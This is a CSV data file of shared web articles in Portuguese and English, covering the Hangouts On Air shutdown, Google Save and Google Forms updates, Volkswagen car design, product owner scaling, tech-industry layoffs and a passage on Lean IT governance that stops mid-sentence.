1471527133,CONTENT SHARED,-3734583695144530256,3609194402293569455,-1768909846379737463,,,,HTML,http://canaltech.com.br/noticia/google/google-encerra-hangouts-on-air-e-migra-transmissoes-ao-vivo-para-youtube-76911/,Google encerra Hangouts On Air e migra transmissões ao vivo para YouTube - Google,"Por Redação | em O Google anunciou que a partir do dia 12 de setembro o Hangouts On Air será descontinuado. A decisão de encerrar o serviço de transmissão ao vivo, criado para tentar aumentar a adesão dos usuários ao Google+, afeta a programação de eventos ao vivo existentes na rede social, que agora passarão a ser transmitidos na plataforma do YouTube Ao Vivo. ""Se você deseja programar novos Hangouts On Air, terá de usar o YouTube Ao Vivo"", explicou o Google. ""Após essa data, não será mais possível programar eventos no Google+, e você terá de mover para o YouTube Ao Vivo os eventos existentes programados para depois de 12 de setembro"". A empresa também publicou que os eventos já realizados no Hangouts On Air e que estão disponíveis para serem assistidos também serão migrados para o YouTube. Com o Hangouts On Air, os usuários podiam realizar transmissões ao vivo e criar sessões semelhantes a programas de televisão, utilizando ferramentas de interatividade como o Q&A, Showcase e Applause, que agora também serão descontinuados. O Google sugere que os recursos presentes nestes aplicativos sejam utilizados em outras ferramentas, como o Google Slides, que conta com opção de enquete. ""Você também pode usar várias plataformas de mídia social para obter questões antes do evento"", explicou a empresa. Para programar os próximos eventos ao vivo, o usuário precisa acessar a ferramenta de agendamento na área de Eventos de transmissão ao vivo no Estúdio de Criação. Como o próprio Google explica, o usuário continuará a ter controle de quem poderá assistir às transmissões ao escolher entre as opções Público, Não Listado e Privado. Assine nosso canal e saiba mais sobre tecnologia!",pt
1471528408,CONTENT SHARED,3437437537867086722,-1387464358334758758,-8754309581603657084,,,,HTML,http://googlediscovery.com/2016/08/16/google-save-servico-para-salvar-coisas-da-web-chega-ao-brasil/,"Google Save, serviço para salvar coisas da web, chega ao Brasil | Google Discovery","Restrito aos Estados Unidos desde seu lançamento no final de 2015, o Google Save está finalmente disponível ao Brasil e integrado aos resultados de pesquisa de imagem do Google. Agora, ao fazer uma pesquisa no Google Imagens, o Google agora oferece a opção de ""salvar"" ou ""ver imagens salvas"" dentro do serviço do Google Save. Apesar do ""salvar"", o Google apenas grava um link para a imagem. Entretanto, por meio de uma recém-lançada extensão para Chrome , o serviço foi expandido para salvar qualquer conteúdo interessante da web, desde páginas, imagens ou links para vídeos do YouTube. Para ajudar na organização, o Google Save oferece um sistema de tags que podem ser adicionadas jundo aos conteúdos, seguindo uma experiência parecida com os rótulos do Gmail. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1471529031,CONTENT SHARED,-8641360668993633978,-1387464358334758758,-8754309581603657084,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/08/add-images-to-questions-and-answers-in.html,Add images to questions and answers in Google Forms,"Google Forms makes it easy to create, distribute, and analyze surveys. Starting today, you can craft even more effective forms by inserting images into survey questions or adding images as multiple choice or checkbox options in Forms on the web. For example, a graphic designer might ask a business owner to to pick one of three different logos, pictures of which would be offered as multiple choice answers. Or a chef might include a photo of her famous burger between a question asking diners their opinion of it and the section provided for their answer. For more information on creating and editing surveys in Forms, check out the Help Center . Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Action: Change management suggested/FYI More Information Help Center: Edit your form Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1471530088,CONTENT SHARED,-556674612043273194,-5639303336519418445,-4382457821485595046,,,,HTML,http://magazine.volkswagen.com.br/como-nasce-um-carro.html,Como nasce um carro. | Volkswagen Magazine,"Quem costuma proferir essa frase é Luiz Alberto Veiga, diretor de Design & Package da Volkswagen do Brasil, 60 anos de idade e 38 de empresa. Ouvindo, assim, de primeira, parece absurdo. Afinal, milagres não acontecem todos os dias, produzidos em série. Mas essa impressão muda quando Veiga começa a explicar como nasce um carro. E ele sabe das coisas. ""Um automóvel é feito de três a seis mil peças, fabricadas em diferentes partes do mundo, que precisam chegar todas na linha de montagem ao mesmo tempo"", continua. E, mesmo produzidas em lugares tão distantes como a Espanha ou a China, as peças devem se encaixar com mais precisão do que o melhor quebra-cabeça. E Veiga vai em frente, desenhando gestos no ar, com a paixão de quem passou a vida criando arte em quatro rodas. ""Uma porta de automóvel é mais complexa do que um edifício"", sentencia. Enquanto um prédio é feito basicamente de alicerces, colunas, elevadores e instalações elétricas e hidráulicas, uma porta de carro tem muito mais: sistemas elétricos em partes móveis, mecanismos físicos que fazem o vidro subir e descer, além de autofalantes e sistema de trava, tudo projetado para resistir a choques e, depois da batida, ainda ser capaz de... abrir. ""Passaria um mês falando de uma porta"", diz. ""E nem se trata de uma peça tão complicada, como é um painel de instrumentos."" Em outras palavras, um carro ""é o produto mais sofisticado que um ser humano pode comprar"". Um milagre, enfim. Segundo Veiga, somente um avião é mais complexo - e, mesmo assim, só os de grande porte. São milagres que a Volkswagen leva, em média, quatro anos para desenvolver - o tempo entre o primeiro esboço e o carro saindo da fábrica. Antes de virar um objeto real nas ruas, a ideia do automóvel precisa encarnar em diferentes formatos, de equações matemáticas a esculturas de argila. Filho de um arquiteto que projetava fábricas de automóveis e sobrinho de um chefe de produção, Veiga foi uma criança que adorava brincar dentro dos carros, sentir cheiro de gasolina e fuçar nos motores. Lembra com detalhes o primeiro Volkswagen que seu pai comprou, um Fusca 1952, ""ainda com a janelinha oval"". Na sexta série, abandonou o ensino regular e foi cursar modelação técnica no Senai. Mas também tinha um lado de Veiga que gostava de arte, e que o levou a fazer pintura na Escola de Belas Artes e regência na Fundação das Artes de São Caetano do Sul. Afinal, queria ser um artista ou um técnico? Nem ele sabia. Enquanto se decidia, arrumou um emprego na Volkswagen, aos 22 anos, como ilustrador de manuais de instrução. Em seguida, passou a desenhar carros. ""E acabei me tornando um designer"", conta. Desenhar é tanto o seu trabalho como o seu hobby, e Veiga faz isso o tempo todo. Até quando viaja, leva caderno e lápis para rabiscar o que vê, das paisagens às aeromoças - que costumam ser presenteadas com seus desenhos. ""Em troca, ganho sempre uma taça extra de vinho nos aviões."" Todo o universo de complexidades que é um automóvel, porém, começa com a simplicidade de uma mão e uma esferográfica. O primeiro passo da criação é a fase dos sketches (esboços), quando os designers se sentam diante de uma folha de papel e passam dias rabiscando as linhas de carros que correm dentro de suas cabeças. No estúdio em São Bernardo do Campo, em São Paulo, trabalham 45 pessoas. Ninguém cria do nada. No princípio, é o verbo, ou melhor, o briefing, uma série de instruções enviada pela diretoria da empresa, que descreve a essência do projeto. ""O briefing explica se será um automóvel para a família, por exemplo, ou um modelo aventureiro para encarar praia e mato"", define Veiga. É com essas instruções em mente que os designers vão fazendo seus desenhos. Depois que cada um dos designers produziu centenas de esboços, os melhores são selecionados para serem redesenhados no computador, ganhando cor e efeitos de luz e sombra. Uma curiosidade: embora não pareça, as linhas retas são muito raras no design de automóveis. ""Um carro é feito praticamente só de curvas"", conta. Até aqui os designers correm livres, deixando a imaginação fluir. Os primeiros limites vêm na etapa seguinte, ditados pela equipe de package (pacote), encarregada de pensar em como as pessoas se acomodariam dentro dos carros. Usando programas de computador, esse time calcula a melhor maneira de posicionar motorista e passageiros junto com os outros elementos. É hora de os designers colocarem a mão na massa, literalmente. Ou melhor, em uma argila plástica que a indústria chama de clay. A argila é usada para criar modelos dos automóveis imaginários, respeitando as orientações do package. A essa altura, a peneira do processo já selecionou entre oito e 15 candidatos a se transformar em um carro de verdade. Todos viram modelos em clay, em tamanhos quatro vezes menores. A tensão entre a equipe começa a subir. Todos os designers sabem que, ao final do processo, apenas um de seus ""filhos"" será o escolhido. ""Existe uma competição saudável, mas absolutamente necessária, para ver quem vai ganhar o projeto"", revela. ""A porta de um carro é mais complexa do que um edifício."" Luiz Alberto Veiga, diretor de Design & Package da Volkswagen do Brasil É hora de nova peneira, que seleciona os três melhores. Os eleitos ganham novos modelos em clay, agora em tamanho real. Pintados, os carros de argila parecem de verdade, mas ainda são apenas blocos maciços. De olho nesses modelos, a equipe observa como a superfície do carro dança com a sombra e a luz, criando as formas que devem encantar quem vê. ""Luz e sombra são o segredo do design"", define Veiga. Ao final, apenas um modelo é escolhido, e pode não ser exatamente nenhum daqueles pensados pela equipe. ""Em algumas situações, a diretoria manda juntar a traseira de um com a frente de outro"", conta Veiga. Os designers mais novos podem se sentir frustrados ao perder uma dessas eleições, mas os mais experientes sabem que faz parte do jogo. ""O profissional tem que estar preparado para perder a briga e ver jogado fora o trabalho de semanas, meses"", diz Veiga. O modelo eleito é escaneado para ser transformado em uma série de equações que serão usadas para criar um carro virtual, que só existe no computador. Para enxergá-lo, os designers da Volkswagen usam óculos 3D e um sistema de projetores semelhante ao dos cinemas Imax. Nisso, já se passaram dois anos. Os próximos dois serão gastos na concepção do carro propriamente dito. É o momento de construir todas as ferramentas que irão compor as peças do automóvel, preparar robôs e linha de montagem. Os engenheiros podem fazer de tudo, menos mexer no que foi definido pelos designers. ""A engenharia moderna respeita muito o design, porque sabemos que beleza e conforto são os principais motivos que levam alguém a comprar um carro"", diz. Após quatros anos, chegou a hora de produzir os carros. É quando os protótipos viram uma realidade de maquinarias pesadas operadas com centenas de funcionários nas fábricas. Só no complexo industrial de São Bernardo do Campo, responsável pelos serviços de estamparia, armação da carroceria, pintura e montagem final (além de pesquisa, planejamento e desenvolvimento de novos produtos), são mais de 12 mil pessoas trabalhando. Desde que foi inaugurada, em 1953, a fábrica produziu mais de 21 milhões de veículos, entre eles modelos que hoje trafegam pela memória dos brasileiros, como o Fusca, a Variant, a Brasília e o Passat. Em meio a tantas histórias e tantos modelos, Veiga não hesita em nomear o seu favorito. ""O carro mais importante que eu desenhei foi o Fox. A ideia nasceu no guardanapo de um bar"", lembra. Quando apresentou seus planos à empresa, foi um choque. Designers não podem criar seus projetos do nada: tudo tem de ser pensado a partir dos briefings enviados pela diretoria, que por sua vez fazem parte de planejamentos pensados em longos ciclos de 15 anos. O carro idealizado por Veiga não estava nos planos. Para ir adiante, o projeto precisou ser aprovado diretamente pelo então presidente mundial da Volkswagen na Alemanha na época, Ferdinand Piëch. Lançado em 2003, o Fox não só criou uma nova tendência, a de carros compactos com muito espaço interno, como se tornou o primeiro brasileiro exportado para a Alemanha. ""Quando vi o carro em uma apresentação, percebi que havia encerrado um ciclo. Era um carro que eu tinha criado desde o começo"", lembra. Até hoje Veiga se empolga quando fala nisso, e dá para entender por quê. Não é todo mundo que pode se gabar de ter, sozinho, executado um milagre. Segundo ele, um carro da Volkswagen deve mostrar solidez, passando ""uma sensação de segurança através de elementos fortes e controlados"". Sem traços agressivos, busca ser atemporal, distante de modismos. ""O desenho deve durar décadas e continuar sempre fresco, sem envelhecer"", afirma. Pedimos para ele selecionar os cinco carros que marcaram a história da marca.",pt
1471536863,CONTENT SHARED,1540456027678548167,4110069906204072059,5454110109002369821,,,,HTML,https://www.scrumalliance.org/employer-resources/select-repost-scaling-the-product-owner-role,[Select Repost] Scaling the Product Owner Role,"In theory, the product owner is one person. But in practice, managing a larger, complex product is usually a shared effort. But how can product ownership be split without resulting in decisions by committee and creating a weak or even inconsistent product? In this post , Roman Pichler discusses different techniques to help you scale the product owner role successfully, and he explains when each technique should be applied. Summary In theory, the product owner is one person. But in practice, managing a larger, complex product is usually a shared effort. But how can product ownership be split without resulting in decisions by committee and creating a weak or even inconsistent product? In this post, I discuss different techniques to help you scale the product owner role successfully and I explain when each technique should be applied. Scaling and the Product Life Cycle To understand if and when the product owner role should be scaled, I find it helpful to consider the product's life cycle stage. As long as a product is young and hasn't reached product-market fit-or is close to achieving it-I recommend having a single person in charge of the product. Here is why: Young products tend to require a significant amount of experimentation and rework in order to get the product launched, adapt it to the feedback of the early market, and get it ready for product-market fit. At this stage, effective decision-making is paramount. Having a single product owner in place supports this: if no consensus can be achieved about what to do next, the product owner decides. Having one person in charge of the product is viable, as it is usually comparatively small and only a small number of development teams-one or two-are likely to develop it at this stage. But once the product is becoming more successful and start growing, once it attracts more features and becomes richer and requires more teams to develop it, a single person can usually no longer manage the product-without being overworked or neglecting some responsibilities. What's more, the product now changes less frequently and radically, which makes it easier to share responsibilities amongst a group of product people, as the picture below shows. Scaling Option 1: Feature and Component Owners Once you've achieved product-market fit and entered the growth stage, you should consider sharing the product work by asking other people to own product features and / or components. I view a feature as a product capability, such as, the ability to search for a product on a website, and a component as an architecture building block, for instance, the data access layer. (I discuss the difference between products, features, and components in more detail in my post What is a Digital Product? ) The initial product owner should be in charge of the overall product, take care of the product strategy and roadmap , and manage the stakeholders , but still be involved in managing the product backlog and making prioritisation decisions. The feature and component owners manage their assets: they capture new ideas and requirements, test them using feedback and data, and collaborate with the teams developing the features and components. The following picture illustrates this approach. Scaling Option 2: Unbundling and Product Variants The alternative to sharing the responsibility of managing a product is to break up the latter. A common technique to do this is unbundling a feature and releasing it as a separate product-like Facebook did with the Messenger app in 2004. This reduces the scope of the original product and it creates a brand-new one, managed by a new product owner and developed by its own team(s). Another technique is creating product variants-think of iPod shuffle and iPod Touch, for example. Applying this technique avoids feature bloat of the original product; and similarly, to unbundling, it introduces new offerings that are looked after by their own product owners and built by their own teams, as the picture below illustrates. You can, of course, combine option one and two, and first introduce feature owners in addition to an overall product owner and then spin-off features or create variants. Scaling Option 3: Strategic and Tactical Product Roles The third option to scale product ownership is to introduce a strategic and a tactical product role. The strategic role is often called product manager and the tactical one is referred to as product owner . The product manager Frameworks like SAFe use this option as a default, but I recommend you apply it carefully: Splitting product responsibilities along the strategic-tactical dimension works well if a tight integration of strategic and tactical decisions is not required. This is typically the case when the product has entered maturity: it is now incrementally enhanced to defend market share and maximise its business benefits; bigger changes are unlikely to occur-unless you decide to extend its life cycle, for instance, by taking to a new market or segment. If you use this scaling option at an earlier life cycle stage, then you face the risk of strategic decisions not effectively guiding tactical ones, as well as tactical insights, such as user feedback on specific features or a slower than anticipated development progress, not informing the strategic decisions, particularly when several people take on tactical duties and / or the individuals responsible for strategic and tactical decisions don't work together very closely. Comparing the Options How do the three scaling options compare? The following table summarises my recommendations about when they should be used. Single product owner Before product-market fit Product and feature owners From close to product-market fit to reaching maturity Product variants and unbundling Strategic and tactical product roles When the product is mature As the table above shows, you should not rely on one scaling technique. Instead, consider the life cycle stage of your product and select the technique that's most likely to help you achieve or sustain product success. Learn More You can learn more about scaling the product owner role by:",en
1471541327,CONTENT SHARED,6873454157736399518,22763587941636338,-8094055098923947553,,,,HTML,http://economia.uol.com.br/noticias/reuters/2016/08/18/empresas-de-tecnologia-preparam-mais-demissoes-apos-cortes-na-cisco.htm,Empresas de tecnologia preparam mais demissões após cortes na Cisco,"NOVA YORK (Reuters) - O anúncio da Cisco na quarta-feira (17) de que planeja demitir 5.500 funcionários provavelmente não será o último do tipo diante de um cenário em que empresas de hardware enfrentam dificuldades para se adaptarem às rápidas mudanças no mercado de tecnologia, dizem analistas e especialistas em recursos humanos. Companhias que tradicionalmente obtinham a maior parte de seu faturamento vendendo computadores, chips, servidores, roteadores e outros equipamentos são especialmente vulneráveis, afirmam analistas, uma vez que aplicativos móveis e serviços de computação em nuvem tornam-se cada vez mais importantes. O anúncio das demissões na Cisco ocorreu depois que a Intel divulgou planos em abril para demissão de 12 mil trabalhadores. Antes disso, a Dell disse em janeiro que cortou 10 mil funcionários e que esperava fazer novas reduções depois de concluir a aquisição da empresa de armazenagem de dados EMC por US$ 67 bilhões. Até agora neste ano, as empresas de tecnologia nos Estados Unidos eliminaram cerca de 63 mil empregos, segundo a consultoria Challenger, Gray & Christmas. Desconstrução ""A indústria de tecnologia está passando por uma grave desconstrução"", disse Trip Chowdhry, analista da Global Equities Research. ""Há mais por vir."" Chowdhry afirmou que espera que as demissões aumentem acentuadamente conforme mais empresas optam por serviços de computação em nuvem fornecidos por companhias como Amazon.com e Microsoft. Estes serviços são especializados na administração de hardware, software, redes e bancos de dados e eliminam a necessidade de trabalhadores encarregados por administrar cada um desses níveis, disse ele. Em janeiro, Chowdhry estimou que as demissões na indústria de tecnologia vão somar 330 mil este ano. Na quarta-feira, ele elevou a estimativa para 370 mil. Alguns outros analistas afirmam que esta previsão é muito pessimista. IBM, Hewlett-Packard Enterprise, Oracle e Dell podem ser as próximas a fazerem anúncios de demissões, dizem analistas. Representantes de Hewlett-Packard Enterprise, Dell e Oracle não comentaram o assunto. Contatos com a IBM não puderam ser respondidos de imediato. ""Ninguém quer projetistas de hardware e engenheiros"", disse Andy Price, da empresa de busca de executivos SPMB. ""Houve um momento quando os hardware estava no topo e a GoPro (fabricante de câmeras esportivas) deixou todo mundo animado sobre aparelhos, mas muitas destas empresas morreram pelo caminho"", afirmou. Atualmente, diz Price, ""engenheiros de hardware são provavelmente a carreira menos atraente no Vale (do Silício)"", acrescentou. Obrigado pela sua inscrição",pt
1471541989,CONTENT SHARED,5726008417498979736,3217014177234377440,-6192724235953183940,,,,HTML,http://www.disciplinedagiledelivery.com/agility-at-scale/it-governance/,[Framework] Lean IT Governance,"Lean IT Governance is the leadership, organizational structures and streamlined processes to enable IT to work as a partner in sustaining and extending the organization's ability to produce meaningful value for its customers. This article addresses several topics: What is Lean IT Governance? As with most things in IT, there is no standard definition of what IT governance is. For example, the IT Governance Institute provides this definition: ""IT Governance is the leadership, organizational structures and processes to ensure that the organization's IT sustains and extends the organization's strategies and objectives."" Gartner, on the other hand, offers this definition: ""IT governance (ITG) is defined as the processes that ensure the effective and efficient use of IT in enabling an organization to achieve its goals. IT demand governance (ITDG) is the process by which organizations ensure the effective evaluation, selection, prioritization, and funding of competing IT investments; oversee their implementation; and extract (measurable) business benefits. ITDG is a business investment decision-making and oversight process, and it is a business management responsibility. IT supply-side governance (ITSG) is concerned with ensuring that the IT organization operates in an effective, efficient and compliant fashion, and it is primarily a CIO responsibility."" In Disciplined Agile, we promote the following definition: ""Lean IT Governance is the leadership, organizational structures and streamlined processes to enable IT to work as a partner in sustaining and extending the organization's ability to produce meaningful value for its customers."" As you can see in the following diagram, IT governance is part of your organization's overall corporate governance strategy. IT governance encompasses several more narrow forms of governance, including but not limited to the governance of IT delivery/development, data/information, IT security, IT investment, enterprise architecture, and IT operations activities. IT governance typically addresses areas such as: The effective and timely investment in IT to sustain and extend the organization over the long term The evolution and support of roles and responsibilities to streamline how people work together Definition of decision rights and decision making processes to streamline interactions between people The evolution and support of common procedures and guidelines to ensure appropriate commonality of activities and artifacts The evolution and support common roadmaps to guide the efforts of IT teams The monitoring of activities to provide insight into their effectiveness Formation of a governing body that is responsible for guiding governance activities Definition of exceptions and escalation processes to streamline critical interactions Creation of a knowledge sharing strategy to grow individuals, teams, and the organization as a whole The support and monitoring of risk mitigation strategies to promote appropriate and holistic adoption of IT solutions Adoption of a reward and compensation structure to support the attraction and retention of excellent staff Status reporting to share information throughout the organization Why Lean IT Governance? Lean IT governance is the leadership, organizational structures and streamlined processes to enable IT to work as a partner in sustaining and extending your organization's ability to produce meaningful value for your customers. There are several reasons why this is important for your success. Lean IT governance strives to ensure that: Your organization's IT investment is spent wisely . Organizations invest in IT to enable them to run and extend their business. From a financial point of view, your goals should be to regularly and consistently create real business value and to provide appropriate return on investment (ROI). To do this you must determine how you will execute your strategy by selecting and prioritizing the most valuable initiatives to undertake. You must also monitor these initiatives to ensure that they fulfill their promise, and if not then remediate them appropriately. Your IT strategy supports your organization's needs . Your IT efforts should deliver consumable solutions in a timely and relevant manner AND operate and support those solutions once in production. Part of your IT governance efforts will be to ensure that this is actually happening in practice. Your IT teams are empowered to carry out their work . An important aspect of IT governance is to ensure that people and teams have the authority to fulfill their responsibilities. Many agile transformations run into trouble when the roles and responsibilities of people are not agreed upon, or when they are they are not properly supported by senior management. Another important strategy is to empower teams to own their process, to self determine how they will work together, enabling them to tailor their approach to meet the needs of the situation that they face. People are motivated to work together effectively . There are several aspects to this. First, IT teams need to work effectively with their stakeholders. For this to happen in practice IT professionals need to understand the fundamentals of the business domain that they are working in and business stakeholders to understand the fundamentals of IT. Second, IT teams also need to work effectively with their IT colleagues. To do this you must adopt processes and organizational structures that encourage people to collaborate together and to learn from one another. Third, stakeholders need to work together effectively when it comes to IT. Your organization has limited resources to invest in IT, so it behooves your IT department to work with stakeholders to invest those resources wisely. Doing so are important aspects of your Portfolio Management , Product Management , and of course your solution delivery efforts. Risks are monitored and mitigated at appropriate organizational levels . Although team-level risk mitigation is a good start it isn't sufficient from an organizational point of view. Many small risks that are acceptable individually can add up to a very large risk for your organization. For example, one team using a new technology platform is an experiment. Fifty teams adopting that new platform at the same time is a significant risk if the platform proves to be problematic. Someone must be looking at risks from a portfolio perspective and guide teams accordingly. Your IT infrastructure is sound . Your IT department must be able to operate and support solutions that are in production over both the short and long term. Your IT governance effort should guide and monitor your teams to ensure that they leverage and evolve your IT infrastructure effectively. IT works in an open and collaborative manner . There are several ways that the DA framework promotes this. First, IT solution delivery is performed in an agile manner that is inherently open and collaborative. Second, all IT teams should present accurate and timely information to stakeholders, not just solution delivery teams. For example enterprise architects can make their work available to everyone, as can your portfolio management team, your data management team, and so on. Third, stakeholders can and should be educated in the fundamentals of IT so that they better understand how to work with IT teams. Fourth, IT professionals should be educated in the business domain and fundamental business concepts so that they can interact more effectively with stakeholders and understand how to serve them better. All of these things will continue to be true now and in the future . Lean IT governance balances your short-term and long-term needs. Too many organizations have allowed technical debt to grow in recent years, for the skills of their IT staff to stagnate, and to continue to tolerate traditional IT process strategies from yesteryear. This is because they allowed short-term priorities to trump long-term health. We must do better. There are two fundamentals reasons why IT practitioners should be interested in lean IT governance: You're being governed, like it or not . Regardless of the size or your organization, the length of time it's been in operation, or the sector(s) in which you work, someone is keeping an eye on and guiding your IT efforts. You deserve to be governed effectively . Sadly, as we'll explore in the next posting in this series, most IT governance strategies prove to be ineffective in practice due to application of traditional strategies and ways of thinking. The Lean Governance Mindset The mindset required to govern IT in a lean or agile manner is very different than the traditional mindset. In this blog we review the key aspects of a lean governance mindset. These aspects are: Lead by example . People take their cues from their leadership teams. If your governance strategy is streamlined and light weight then whatever it governs will inevitably become streamlined and light weight. Conversely, an onerous and heavy governance strategy will lead to onerous and heavy strategies by those being governed. Be a servant leader . The primary function of governance people should be to prevent roadblocks, and if not to get rid of them as soon as they arise. You should strive to get teams the resources that they need and then get out of the way. Wait a minute, isn't that the job of the Team Lead on a Disciplined Agile Delivery (DAD) team? Yes, but who do you think that they work with to actually get that done? Motivation over management . IT professionals are intellectual workers, and intellectual workers generally don't respond well to being told what to do. But they can be motivated, and once motivated will actively work on what they've been motivated to do. So motivate them to do the ""right thing"". One way to do this is to communicate very clearly what your organization is trying to achieve. Another way to motivate people is to ask tough questions such as: What value is there in doing that? What can we do to increase value? How can we eliminate waste in what we're doing? and What will we learn by doing that? Enablement over audit . Psychology shows that people, when given the choice, will usually take the easy path. This tells us that if we want people to do something, or to work in a given manner, then if we make it very easy to do so then they likely will. For example, if you want developers to follow common coding conventions then provide easy to understand and straightforward guidelines. Better yet, provide code analysis tools that they can include in the continuous integration (CI) tooling that provides feedback that they can act on. The traditional approach would be to rely on code inspections or code audits to ensure that conventions were being followed. This approach is not only onerous, and thus less likely to be followed, it has a long feedback cycle which means that any feedback resulting from the audit will be much more expensive to act on (on average) than the code analysis tool which has a very short feedback cycle. Yes, you may need to run the occasional audit, particularly when you're working in a regulatory environment, but you should do so only as a last resort. Communicate clearly, honestly, and in a timely manner . Effective governors communicate what the priorities of your organization are and what is expected of people. It is crucial to set realistic expectations in an open, honest, consistent, and continuous manner. Streamline collaboration . Governors should help teams collaborate effectively with others. This not only helps them to achieve their goals but also supports enterprise awareness. Trust but verify . Agile is based on trust, but to ensure that the right thing is happening within your organization there needs to be verification of that. Governors can do this by monitoring teams via several strategies. These strategies include asking people what's going on, automated metrics (via team dashboards), looking at information captured by information radiators, attending team demos, and as a last resort asking teams to produce status reports to address questions that can't be answered via automated metrics. Focus on mitigating risk, not just reviewing documents . A primary goal of your governance strategy should be to mitigate risk. Sadly, many governance strategies have fallen into the bureaucratic trap of relying on documentation reviews to provide insight into what a team is doing. For example, your ""architecture quality gate"" might be based on the review and acceptance of an architecture model or document, the idea being that if some knowledgeable people assess the content of the document they will be able to determine whether the described architecture strategy will work. Unfortunately this isn't the case. We're sure you've seen several IT project teams who had a well-documented architecture, which was reviewed and signed off on, yet the technologies didn't work well in practice, or perhaps they didn't perform well, or perhaps they didn't even integrate easily. The only thing that the review and acceptance of a document tells you is that a document was created, reviewed, and accepted. Learn continuously . Good governors learn as much as they can about what they're governing so that they can make better decisions and can make effective suggestions to the people being governed. Consider both the long and short term . Governance must balance short-term needs with the long-term strategy of growing and enhancing your organization. Be a great host . People who have fun at work, who enjoy what they do, are much more productive than people who don't. In this respect being an effective governor is like being a good host at a party - as host it's your job to see that everyone has a good time and gets along well with each other, and to swiftly deal with any problems that arise. Having a lean governance mindset, as described above, helps you to increase your effectiveness at governing IT. Lean Governance Strategies There are several strategies that you can adopt to promote a lean approach to governance. These strategies include: Empowered teams . Teams should have both the authority and responsibility to fulfill their mission. Agile teams should be allowed to be self organizing, the implication being that the team itself determines who will do what work (the team doesn't have a manager telling them what to do). Related to that the team should own their process , which is the agile way of saying that the team is allowed to determine how it will work together and as the team learns it will evolve the process that it follows - of course the team will be guided and constrained by your organization's governance strategy. Enterprise awareness . One of the principles of the Disciplined Agile (DA) framework is that you should work in an enterprise aware manner. It is based on the observation that your team is only one of many teams, so therefore you need to consider the bigger picture when you're working and do what is best for your organization, not just what is convenient for you. Promoting enterprise awareness throughout your organization is a fundamental enabler of lean governance. High-level roadmaps . High-level technology and business roadmaps, produced by your Enterprise Architecture and Product Management efforts respectively, will provide important guidance to your teams. These roadmaps capture the vision as to where your organization is heading, helping teams to understand what the overall vision is, to focus on what is important to your organization, and to help guide and constrain their decisions. Collaborative enterprise IT professionals . The DA framework includes several process blades, including Enterprise Architecture , Reuse Engineering , Data Management , and others that address IT-level concerns. The people performing these activities should work closely with their customers, the delivery teams and stakeholders, in a collaborative and evolutionary manner. This promotes better governance for two reasons. First, by getting the vision, knowledge, and skills of the enterprise professionals into the hands of their customers it increases the chance that they work in a manner that is consistent to the needs of your organization. Second, the enterprise professionals want to get feedback from their customers and learn more about what their customers need from them. This enables them to be more effective at serving the enterprise and guiding their customers. Enterprise IT knowledge in teams . Although roadmaps and enterprise IT professionals collaborating with development teams help, it is far more effective to have people with enterprise knowledge embedded within the development teams. This is why we promote the idea that Architecture Owners (AOs) should not only work closely with the enterprise architects but should preferably be a member of the EA team. Similarly, Product Owners (POs) should either work closely with the product management team or preferably be a member of that team. And it's possible to do better than that - if team members are truly enterprise aware and are continuous learners, then it is reasonable to expect them to pick up enterprise knowledge over time. The more knowledgeable people are about their organization and its goals the less supervision/governance they will need. Automated dashboards . Automated dashboards, a strategy that we've referred to as development/operational/IT intelligence in the past, is a scalable form of information radiator. With just a bit of work you can take the information being generated by your tools and, using business intelligence (BI) technologies, populate team and even portfolio dashboards in real time. These dashboards provide important information that teams can use to manage themselves as well as governors to monitor what is happening within your organization. This enhances governance because when you get better quality information into people's hands and they are more likely make better decisions. Defined roles and responsibilities . Defined roles and responsibilities help people to understand who does what, what are they are responsible for and when they need to collaborate with others. This is an important aspect of governance because critical guidance about how people will need to interact with one another. Defined organizational structure . You may choose to have a hierarchy of teams, a network of teams, a collection of circles (along the lines of holocracy), or combinations thereof. This is important to your governance efforts because people need to know what are the teams and how do they interrelate within your organization. Common guidance . Guidance - standards and guidelines - is important to your governance effort because it helps people to understand how they can develop consistent assets which in turn are easier to understand and evolve. Common development guidance includes coding standards, data naming conventions, user interface (UI) design guidelines, security standards, and more. This guidance should be straightforward, ideally be supported through automation, and collaboratively developed. IT governance team . People, typically senior people, are responsible for IT governance. The team, who is on it and what they do, should be defined and publicly known by those being governed. Everyone knows who the governors are and what they do, so that your governance strategy is open and transparent. The Process The following process goal diagram overviews the potential activities associated with a disciplined approach to IT governance. These activities are typically performed by a variety of people within your organization. In the Disciplined Agile framework each of the process blades includes activities around governing the activities encapsulated by that blade. For example, the Enterprise Architecture blade includes architectural governance activities and the Data Management blade includes data/information governance activities. The process factors that you need to consider for IT governance are: Governance view . There are many potential aspects, or perhaps subsets, to IT governance, including security governance, data governance, delivery governance, and more. Too many organizations make the mistake of treating each of these issues separately, which is easy enough to do given the different focus of each one. The DA framework promotes a more holistic, integrated view that results in a streamlined, consistent, and effective governance strategy. Another common mistake is to focus on portfolio governance over other aspects and have your Portfolio and Project Management Office (PPMO) be responsible for IT governance. PPMO-led governance efforts tend to result in documentation-heavy, bureaucratic strategies instead of lean, risk-based approaches. Develop metrics . Metrics define the measurements that you will take to gain insight into what has happened, what is happening, and hopefully what may happen in the future. The least effective approach to metrics is to have a standard set that all teams are expected to collect whereas the most effective is a context-sensitive approach such as a light-weight implementation of Goal Question Metric (GQM) . Measure . The measures themselves can be collected either manually or automatically (usually as the result of tool or system usage). We have found that a combination of the two is required - although automated metrics are inexpensive, accurate, and real-time you cannot always automate all of the measurements that you need to collect. Monitor . Information radiators are sufficient in smaller organizations, but automated dashboards in combination with direct interaction with teams are also needed in modern enterprises. Traditional strategies, such as status reports or status meetings, do not prove to be effective in practice nor do they provide an honest assessment of what is actually occurring. Guidance detail . An easy and important way to support governance within your organization is to have commonly accepted guidance, including standards and guidelines, for teams to follow. We suggest that you keep this guidance lightweight, starting with high-level rules but aiming towards principles whenever possible. Develop guidance . Guidance is ideally developed collaboratively with a combination of practitioners and experienced enterprise IT professionals who understand the bigger picture. Define roles and responsibilities . The definition of roles and responsibilities is an important aspect of your overall governance strategy as it describes what is expected of people. We've found that the most effective way to do this is to start with the roles and responsibilities described in the Disciplined Agile 